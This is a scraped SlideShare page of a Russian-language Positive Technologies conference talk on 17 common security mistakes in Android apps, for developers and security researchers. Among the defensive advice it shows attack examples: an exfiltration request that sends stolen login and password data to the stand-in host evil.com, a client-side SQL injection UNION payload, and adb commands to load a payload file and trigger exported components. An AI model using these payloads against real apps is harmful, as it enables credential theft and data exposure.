![ЗаголовокСпособ 16: произвольные объекты в intent public static final class PageInfo implements Parcelable { public String startPageUrl; public byte[] startPagePostData; public String cookies; public String successUri; public String failUri; … }](https://image.slidesharecdn.com/pdugvulnerableandroidapp-170602111220/75/Android-N-39-2048.jpg)
Uploaded byPositive Hack Days
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Документ описывает 17 способов, по которым уязвимые Android-приложения могут подвергнуться атакам, исходя из анализов специалистов Positive Technologies. Среди выделенных уязвимостей - недостаточная защита логинов и паролей, неправильное управление сертификатами и уязвимости при использовании фрагментов. Обсуждаются также модели нарушителей и версии Android, наиболее распространенные среди пользователей.
Уязвимое Android-приложение: N проверенных способов наступить на грабли
- 1. Заголовок ptsecurity.com Уязвимое Android- приложение: N проверенныхспособов наступить на грабли Специалисты отдела исследований безопасности мобильных приложений Positive Technologies Анисеня Николай, Тошин Сергей
- 2.
- 3. Заголовок ptsecurity.com Уязвимое Android- приложение: 17 проверенныхспособов наступить на грабли Специалисты отдела исследований безопасности мобильных приложений Positive Technologies Анисеня Николай, Тошин Сергей
- 4. Заголовок АНИСЕНЯ НИКОЛАЙ • специалистотдела исследований безопасности мобильных приложений Positive Technologies; • аспирант Томского Государственного Университета; • участник CTF-комады SiBears. whoami ТОШИН СЕРГЕЙ • специалист отдела исследований безопасности мобильных приложений Positive Technologies; • разработчик анализатора исходных кодов Android-приложений; • участник программ bugbounty.
- 5. ЗаголовокМодели нарушителя Удаленный нарушитель •На сервере • На другом клиенте • В канале связи Локальный нарушитель • Трояны • Приложения с закладками Нарушитель с физическим доступом к устройству • Кража или утеря • Кратковременный доступ
- 6. ЗаголовокВерсии Android наустройствах пользователей Ice Cream Sandwich 15 2% Jelly Bean 16 8% Jelly Bean 17 11% Jelly Bean 18 3% KitKat 19 34% Lollipop 21 17% Lollipop 22 20% Marshmallow 23 5% % от общего числа устройств на Android
- 7.
- 8. ЗаголовокСпособ 1: хранениелогинов и паролей в открытом виде /data/data/<app_name>/shared_prefs/AppName.xml
- 9. ЗаголовокСпособ 2: ключишифрования в коде
- 10. ЗаголовокСпособ 2: ключишифрования в коде
- 11. ЗаголовокСпособ 3: ключиз короткого пин-кода
- 12. ЗаголовокСпособ 3: ключиз короткого пин-кода
- 13. ЗаголовокСпособ 3: ключиз короткого пин-кода
- 14. ЗаголовокСпособ 4: http-запросыоткрытым текстом
- 15. ЗаголовокСпособ 5: отключеннаяпроверка сертификатов
- 16. ЗаголовокСпособ 6: некорректныйCertificate Pinning или его отсутствие Pinning in HttpClient No pinning in WebView
- 17. ЗаголовокСпособ 6: некорректныйCertificate Pinning или его отсутствие
- 18. ЗаголовокСпособ 7: отравлениекэша WebView
- 19. ЗаголовокСпособ 8: доступк файловой системе через WebView
- 20. ЗаголовокСпособ 8: доступк файловой системе через WebView $ adb shell am start -d "file:///sdcard/payload.html" nanisenya. app_android/.MainActivity
- 21. ЗаголовокСпособ 8: доступк файловой системе через WebView /sdcard/payload.html
- 22. ЗаголовокСпособ 8: доступк файловой системе через WebView GET /%3C?xml%20version='1.0'%20encoding='utf- 8'%20standalone='yes'%20?%3E%0A%3Cmap%3E%0A%3C string%20name=%22LOGIN%22%3Ealice%3C/string%3E %0A%3Cstring%20name=%22PASSWORD%22%3Eqwerty123 %3C/string%3E%0A%3C/map%3E%0A HTTP/1.1 Host: evil.com Origin: file:// X-Requested-With: nanisenya.app_android ... Connection: close
- 23. ЗаголовокСпособ 9: Client-sideSQL-injection String query = "SELECT * FROM messages WHERE msg LIKE '%" + q + "%'"; Cursor c = MainActivity.this.db.rawQuery(query); sqlite> .tables android_metadata messages private_messages
- 24. ЗаголовокСпособ 9: Client-sideSQL-injection SELECT * FROM messages WHERE msg LIKE ' UNION SELECT * from private_messages -- %'"; q = "' UNION SELECT * from private_messages -- "
- 25. ЗаголовокСпособ 10: забываемубрать allowBackup и debuggable AndroidManifest.xml
- 26. ЗаголовокСпособ 10: забываемубрать allowBackup и debuggable $ adb backup -all android:allowBackup=“true”
- 27. ЗаголовокСпособ 10: забываемубрать allowBackup и debuggable android:debuggable=“true”
- 28. ЗаголовокСпособ 11: экспортированныекомпоненты adb shell am broadcast –d com.example.myapplication/.MyReceiver
- 29. ЗаголовокСпособ 11: экспортированныекомпоненты android:exported=“false”
- 30. ЗаголовокСпособ 12: отправкашироковещательных сообщений
- 31. ЗаголовокСпособ 12: отправкашироковещательных сообщений Register receiver Send broadcast intent
- 32. ЗаголовокСпособ 13: непроверяем action в коде Broadcast Receiver
- 33. ЗаголовокСпособ 13: непроверяем action в коде Broadcast Receiver
- 34. ЗаголовокСпособ 13: непроверяем action в коде Broadcast Receiver
- 35. ЗаголовокСпособ 14: отсутствиефильтрации во входящем intent
- 36. ЗаголовокСпособ 15: вложенныеintent Dispatcher Activity exported= “true” Settings Activity exported= “false” Payment Activity exported= “false” Internal Activity exported= “false” Входящий Intent Перенаправленный Intent
- 37.
- 38. ЗаголовокСпособ 16: произвольныеобъекты в intent public void onCreate(Bundle arg3) { super.onCreate(arg3); this.setContentView(this.o_()); this.b(true); this.setTitle(null); this.o(); this.p(); this.b = this.getIntent() .getParcelableExtra("PAGE_INFO"); if(arg3 == null && this.b != null) { this.a(this.b); } }
- 39. ЗаголовокСпособ 16: произвольныеобъекты в intent public static final class PageInfo implements Parcelable { public String startPageUrl; public byte[] startPagePostData; public String cookies; public String successUri; public String failUri; … }
- 40. ЗаголовокСпособ 17: FragmentInjection
- 41. ЗаголовокСпособ 17: FragmentInjection
- 42. ЗаголовокСпособ 17: FragmentInjection
- 43. ЗаголовокСпособ 17: FragmentInjection
- 44. ЗаголовокСпособ 17: FragmentInjection Уязвимость сохраняется, если - Android < KitKat - TargetSDK < KitKat (import android.support.v4.app.Fragment;) - Используются сторонние библиотеки (например, для корректной работы интерфейса на разных версиях Android), переопределяющие поведение фрагментов Защита - TargetSDK >= KitKat - Использовать isValidFragment
- 45.